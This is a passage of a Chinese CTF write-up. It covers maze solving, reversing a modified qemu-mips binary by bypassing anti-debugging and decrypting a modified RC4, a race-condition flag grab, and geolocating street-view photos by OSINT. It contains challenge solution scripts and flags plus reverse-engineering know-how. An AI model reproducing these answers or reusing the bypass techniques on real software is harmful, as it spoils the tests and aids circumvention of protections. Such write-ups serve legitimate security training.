*.*.*..............*
*.*.***.***.******.*
*...*.*3..*.*...*..*
*****..2***.*.*.*..*
*.....*.*.....*.*..*
*.*****4*.*******..*
*.*.......*........*
*.*.*****.********.*
*.*.*...........*..*
*...*************..*
*****..............*
*.....************.*
*.*****............*
*.*................*
********************

********************
********************
********************
***..........*******
***.********.*******
***.********.*******
***.********.*******
***.********.*******
***.********.*******
***..........*******
************.*******
************.*******
************.*******
************.*******
************.*******
************.*******
************.*******
********************
********************
********************

********************
********************
********************
********************
**.****.****.*******
**.****.****.*******
**.****.****.*******
**.****.****.*******
**.****.****.*******
***.***.***.********
***.***.***.********
***.**.*.*.*********
****.*.*.*.*********
****.*.*.*.*********
*****.***.**********
********************
********************
********************
********************
********************

********************
********************
********************
***.****************
***.****************
***.****************
***.****************
***.****************
***.........********
***.*******.********
***.*******.********
***.*******.********
***.*******.********
***.*******.********
***.*******.********
***.........********
********************
********************
********************
********************

********************
********************
*******.....********
*******.***.********
*******.***.********
*******.***.********
*******.***.********
*******.***.********
*******.***.********
*******.***.********
*******.***.********
*******.....********
********************
********************
********...*********
********.*.*********
********.*.*********
********...*********
********************
********************
'''


# 手推完前面9个关卡并识别后面4个字符
# qwb!
path = "aw  dddd dssaaaaa  dssaaaawwwwww  aaaaaaaww  aaaaaaaaawwdddddddddd  aaaaaasaaaaaa  dddddddddssssaaaaaaaaaaaa  aaaaaaaaaaaaaaa dwwww ddddddddddd  sss"
get = "".join([str(len(s.replace(" """))) for s in path.split("  ")]).encode()
print(f"flag{{qwb!_{md5(get).hexdigest()}}}")
# flag{qwb!_fec2d316d20dbacbe0cdff8fb6ff07b9}

mips

给的emu是魔改后的6.2.0版本的qemu-mips,尝试远程调试

$ ./emu -g 23946 ./mips_bin 
aha , no debugging 🤪!

emu里有反调试,改用正常的qemu

$ ./qemu-mips-static -g 23946 ./mips_bin

mips_bin也有反调试,把fgets读入的长度改成1,以防万一再把exit函数nop掉

ida + qemu远程调试不知道怎么设置跟随子进程。好在父进程啥也不干,直接把fork函数patch掉,返回值改成0,只执行原本子进程的代码

动调看到异或过的opcode,定义成函数查看

密文是unk_23800,其实就是这里这串sxrujtvlabiVzbpvpg|

写脚本

cipher = "sxrujtv`labiVzbp`vpg|"
'''
for i in range(96):
    opcode[i] = (i % 4) ^ opcode[i]
    print(hex(opcode[i]),end=' ')
'''

flag = []
for i in range(len(cipher),0,-1):
    tmp = ord(cipher[21-i]) ^ i
    flag.append(tmp)
    print(chr(tmp),end = '')
print()
print(chr(0x73^21))
#flag{dynamic_reverse}

得到了假flag,猜测emu里对逻辑进行了修改

emu里把远程调试的函数删了改成了exit,没法用emu调试mips_bin,考虑先bindiff恢复符号表,再分析

获取6.2.0版本qemu源码后编译出静态带符号的qemu-mips

wget https://download.qemu.org/qemu-6.2.0.tar.xz
tar xvJf qemu-6.2.0.tar.xz
cd qemu-6.2.0/
./configure --disable-strip --static --target-list= mips-linux-user
make

bindiff恢复符号,动调追踪堆栈找到可疑函数sub_33D8E0,nop去掉花指令,可以看到逻辑是先rc4加密,再进行两次位置替换,最后和密文进行比较

关键在于rc4中,主体部分只有key和rc4的初始化部分,没有加密部分,return后那个函数跳转到了v4[0]+13执行

v4[0]+13是rc4的加密部分,发现被魔改了,中间过程多了几次异或并且最后多异或了一组数据

写脚本解密得到QeMu_r3v3rs3in9_h@ck6},前面加上flag{

givemesecret

条件竞争,多开几个窗口不断索要flag即可

Master of OSINT

第一街景图

发送到百度识图发现图片

发现标签青海湖

在倒湖茶公路发现街景位置

第二张街景图片

发现标志建筑物,百度搜索百安居大楼发现地址

在龙阳路发现街景图片位置

第三张街景图片

标志性建筑物,抖音识图发现是双流机场的建筑物标志,在机场北三路发现街景图片

第四个街景图片可参照物少,题目要求做到9就有flag,然后这里就跳过没做了

第五个街景图片

抖音识图发现视频进入视频根据视频里的路牌找到街景图片位置

在谢家湾立交找到街景位置

第六个街景图片,标志性建筑物,路灯

百度识图,发现图片点击进入图片跳转视频,根据视频中的路标查找到位置

在应天大街发现街景图片位置

第七个街景图片,标志性建筑物,大楼

抖音识图发现视频根据视频中路标找到位置

在橘子大桥发现街景图片位置

第八张街景图片,标志性建筑物,风车

百度识图发现图片,点击进入视频根据路标查找位置

在上海长江大桥发现街景图片

第九张街景图片

百度识图发现图片位置

在武汉天兴洲长江大桥发现街景位置

第十张街景图片,标志性建筑,宏泰百货

放大图片左下角发现有个宏泰百货

当时图片标志物距离太远,一下子没找到,图片的街景图片不是高速路就是桥,沿着旁边的塘新线高架路往下找

通过3D全景往下找在南秀路发现了高架标志物

最终在南秀路发现街景图片位置


文章来源: https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247508682&idx=1&sn=4f88b80575e88d41679dec1afb63665b&chksm=fa527774cd25fe6286bf87e34f75a37cdf4dd355d5cafe3c49f9b88cac49805df3bdfd51e651&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh